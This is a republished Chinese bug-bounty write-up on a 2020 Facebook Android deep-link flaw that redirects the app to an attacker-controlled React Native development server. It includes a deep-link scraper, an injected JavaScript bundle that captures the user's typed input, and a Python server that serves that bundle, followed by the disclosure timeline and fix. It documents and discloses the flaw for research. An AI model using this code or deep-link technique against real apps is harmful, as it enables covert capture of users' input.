如何利用深度链接方式后门化Facebook APP

近期,作者发现了Facebook安卓APP应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的Facebook安卓APP应用转变成后门程序(Backdoor),实现后门化。另外,利用该漏洞还可以重打包Facebook APP,并将其发送给特定目标受害者安装使用。下面就来看看作者对该漏洞的发现过程,以及如何通过Payload构造,最终将其转化为Facebook APP实际生产环境中的安全隐患。

漏洞发现

通常做众测时,我会先认真了解目标系统的应用机制。在我的上一篇博客中,我已经分享了通过解析Facebook APP来发现FB4A参数应用中深度链接(deeplinks)的一些经验过程,而在此,我先分享我编写的一个脚本文件,用它可以自动实现对Facebook APP深度链接(deeplinks)的发现。该脚本文件为-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代码程序,专用于从 Facebook APK中提取深度链接(deeplinks):

import os import jsonimport argparsefrom zipfile import ZipFile from datetime import datetimefname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filenameparser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file')parser.add_argument('-o', help='Output file', nargs='?', default=fname)parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)args = parser.parse_args()file_name = args.i #apkoutput_name = args.o #generated output / providedexported = args.e #False / providedwith ZipFile(file_name, 'r') as zip:     print('Extracting native routes file...') #fyi        data = zip.read('assets/react_native_routes.json') #extract file from zip    js = json.loads(data.decode("utf-8")) #to read as list    params = '' #placeholder        i = 0 #deeplink count        text_file = open(output_name, "w") #open output    print('Manipulating data...') #fyi    for key in js: #for each block in json        for key2 in key['paramDefinitions']: #grab the collection of params            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type                    if exported: #exported only            if key.get('access','') != 'exported': #check access key                params = '' #Reset params                continue #try next block                        link = 'fb:/' + key['path'] + '/?' + params #build link        print(link[:-1]) #fyi        text_file.write(link[:-1]+ 'n') #write to file        i += 1 #increase counter        params = '' #reset params    text_file.close() #save file        print('File: ' + output_name + ' saved') #fyi    print(str(i) + ' deep links generated') #fyi

下载源: https://github.com/ashleykinguk/FBLinkBuilder/

使用方法: .FBLinkBuilder.py -i fb0409.apk

通过FBLinkBuilder.py的运行实现,我们可以对比不同APP版本之间出现的深度链接,以此来观察不同APP版本的应用服务变化,我正是利用该方法发现了Facebook APP 2020版本中存在的一个不安全的深度链接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

该深度链接的参数形式为hostname / ip,于是乎我就用自架的服务器192.168.0.2来做了个测试:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通过该链接,可以在Facebook APP中跳出以下弹窗:

如何利用深度链接方式后门化Facebook APP点击其中的”Enable Quantum”按钮后,会重新启动Facebook APP,之后,我尝试去发现其中的变化,但这一切貌似没啥异常。接下来,我把注意力放到了网络流量上,当时我想到了不久前Facebook专为安全研究者开放的白帽测试功能,安全研究者可以通过该功能暂时绕过Facebook的证书绑定(Certificate Pinning)等安全限制,去测试Facebook相关应用的网络流量。通过该白帽测试功能,我发现在上述动作之后,Facebook APP会产生以下外发连接请求:

http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

这里的名列前茅条请求机制为传递基于的移动端设备属性信息,并意图建立一个websocket连接;第二条请求为返回请求主机的状态信息packager-status:running,它是Facebook的react-native源码内置参数,可以参考Github: /com/facebook/react/devsupport/DevServerHelper.java。

而就当我想方设法在自架服务器192.168.0.2中构造响应消息时,我又发现了Facebook APP产生的另外一个请求:

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

该请求目的为寻找打包文件中存储的FB4A参数,初步分析来看,该参数应该是明文而非通常的hbc*格式存储于Facebook APP中。我曾尝试输入hbc*格式的FB4A参数进行测试,但最终却会让Facebook APP发生崩溃。
其实,对于Facebook APP来说,在2019年之前,其打包文件( bundles)存储于/assets/目录下的一个形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面为APK瘦身,一方面为防止核心代码显式化。虽然我尝试使用了hbc格式工具HBCdump,对Facebook APP生成了一个约250M的打包文件,但好像也没什么用。

劫持Facebook APP

之后,我想到了另外一种发现打包文件的方法:那就是通过查看老版本的Facebook APP,将明文包内容和移动端设备生成的错误消息进行对比,移动端设备生成的错误消息可通过logcat可见。一通对比下来,我发现以下线索:

__fbBatchedBridge -包文件中必需的对象,其中包含了与APP应用同步的各种功能组成;

__fbBatchedBridge.callFunctionReturnFlushedQueue -APP后台调用的函数,每次调用都会执行相应的动作或事件。

基于上述发现,我的想法就是使Facebook APP可以成功下载并执行我构造的包文件,为了实现该目的,我需要自己编写包文件,然后把它托管在我的自架主机192.168.0.2中。以下是我构造的包文件FB4abundle.js:

/* contact@ash-king.co.uk */var i = 0, logs = ''; /* our local vars *//*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */var __fbBatchedBridge = { 	_lazyCallableModules: {},	_queue: [[], [], [], 0],	_callID: 0,	_lastFlush: 0,	_eventLoopStartTime: Date.now(),	_immediatesCallback: null,    callFunctionReturnFlushedQueue: function(module, method, args) {		return __fbBatchedBridge.__guard(function() {		  __fbBatchedBridge.__callFunction(module, method, args)		}), __fbBatchedBridge.flushedQueue()	},    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {		return __fbBatchedBridge.__guard(function() {		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);		}), __fbBatchedBridge.flushedQueue()	},    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);	},	flushedQueue: function(a, b) {		if(a != undefined){			throw new Error('flushedQueue: ' + b)		}		__fbBatchedBridge.__callImmediates(); 		const queue = __fbBatchedBridge._queue;		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];		return queue[0].length ? queue : null;	},	onComplete: function(a) { throw new Error(a) },		__callImmediates: function() {		if (__fbBatchedBridge._immediatesCallback != null) {		  __fbBatchedBridge._immediatesCallback();		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());		}	},	getCallableModule: function(a) { 		const getValue = __fbBatchedBridge._lazyCallableModules[a];		return getValue ? getValue() : null;	},	__callFunction: function(a,b,c) {		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings			i += 1 //increment count			logs += JSON.stringify(c) + 'n'; //JSON Object			if(i > 10) {				/* Here is where we will write out to logcat via js*/				var t = (nativeModuleProxy);				throw new Error('Look HERE: ' + (logs) + 'nr'); 			}		}		__fbBatchedBridge._lastFlush = Date.now();		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;		const moduleMethods = __fbBatchedBridge.getCallableModule(a);		try {			moduleMethods[b].apply(moduleMethods, c);		} catch (e) {					}		return -1	},	__guard: function(e) {		try {			e();		} catch (error) {			throw new Error('__guard: ' + error); 		}		}};

为了能让Facebook APP自动调用该包文件,我还需要另外一个脚本文件fb_server.py:

#contact@ash-king.co.ukfrom http.server import BaseHTTPRequestHandler, HTTPServerimport loggingclass S(BaseHTTPRequestHandler):    def _set_response(self):        self.send_response(500)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))    def do_GET(self):        if self.path == '/status':            self.resp_status()        elif str(self.path).find('message?device=') > -1:            self.resp_message()        elif str(self.path).find('Fb4aBundle.bundle') > -1:            self.resp_fb4a()    def do_POST(self):        content_length = int(self.headers['Content-Length'])        post_data = self.rfile.read(content_length)        logging.info("POST request,nPath: %snHeaders:n%snnBody:n%sn", str(self.path), str(self.headers), post_data.decode('utf-8'))        self._set_response()        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))    def resp_message(self):        logging.info("resp_message")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))    def resp_status(self):        logging.info("resp_status")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("packager-status:running", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))            def resp_fb4a(self):        logging.info("resp_bundle")        self.send_response(200)        self.send_header('Content-type', 'multipart/mixed')        self.end_headers()        with open('FB4abundle.js', 'rb') as file:             self.wfile.write(file.read())        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))def run(server_class=HTTPServer, handler_class=S, port=8224):    logging.basicConfig(level=logging.INFO)    server_address = ('', port)    httpd = server_class(server_address, handler_class)    logging.info('Starting httpd...n')    try:        httpd.serve_forever()    except KeyboardInterrupt:        pass    httpd.server_close()    logging.info('S较好ping httpd...n')if __name__ == '__main__':    from sys import argv    run()

综合深度链接、包文件调用和我自己构造加入的”Enable Quantum”URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 – 漏洞上报
2020.6.22 – 提供技术细节
2020.6.23 – Facebook把该漏洞分类为N/A
2020.6.23 – 我在Youtube上公布POC视频
2020.6.23 – Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 – 漏洞分类
2020.6.26 – Facebook通过关闭Quantum功能进行缓解
2020.8.20 – Facebook修复该漏洞
2020.9.17 – Facebook赏金奖励支付

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:如何利用深度链接方式后门化Facebook APP,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24276

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云
上一篇 2022年9月10日 下午11:49
下一篇 2022年9月10日 下午11:50

相关推荐

  • 猫鼠服务器是什么公司

    猫鼠(Cats and Mouse)服务器可能是您要询问的一种服务器类型,或者是一个特定服务器名称的误解,但在知识库中并无明确的记录表示猫鼠服务器代表着一个具体的公司。如果您是在询问一个公司或品牌名为“猫鼠”的服务器供应商,可能需要提供更多信息或者具体的上下文才能得出准确答案。如果您实际上指的是一个…

    2024年4月25日
    8200
  • 推理服务器作用是什么

    摘要 推理服务器的作用是1、执行模型推理任务、2、优化推理性能、3、降低延迟、4、提高吞吐量、5、支持多种模型格式、6、提供模型管理与扩展功能。 在这些核心功能中,优化推理性能尤为关键,因为它直接关系到模型部署后的效率和稳定性。推理服务器通过使用专门的算法和硬件加速技术,大幅提高处理速度,同时保持高…

    2024年4月25日
    10500
  • 服务器管理的好处是什么

    摘要 服务器管理的好处包括: 1.提高安全性、2.增强性能、3.确保数据完整性、4.优化资源利用,等重要方面。特别是提高安全性,这是服务器管理中的关键部分,为防止未授权访问、数据泄露和其他潜在威胁,定期对服务器进行维护和更新至关重要。此外,安装安全软件、监控系统漏洞、及时打补丁和执行严格的访问控制策…

    2024年4月25日
    9000
  • 云服务器存储资料是什么

    摘要 云服务器存储资料是1、通过网络访问的远程服务器上存储的数据,其依赖于2、云计算技术,使得数据存取更加灵活和高效。在这两点中,通过网络访问的远程服务器存储意味着用户无需对物理硬件进行管理或投入高额的初期成本,而是通过互联网连接到远程数据中心,实现数据存储和管理。这种模式不仅降低了企业或个人的技术…

    2024年4月25日
    8600
  • 下挂的服务器叫什么

    摘要:下挂的服务器通常被称作1、边缘服务器或2、即服务外设。其中,边缘服务器主要用于提高网络服务的访问速度和提升用户体验。通过布局在接近最终用户的地理位置上,这种服务器能够缓存内容,减少数据传输的延迟,加快载入速度,有效缓解主服务器的负荷。边缘服务器尤其适用于内容交付网络(CDN)和大数据分析等场景…

    2024年4月25日
    10500
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部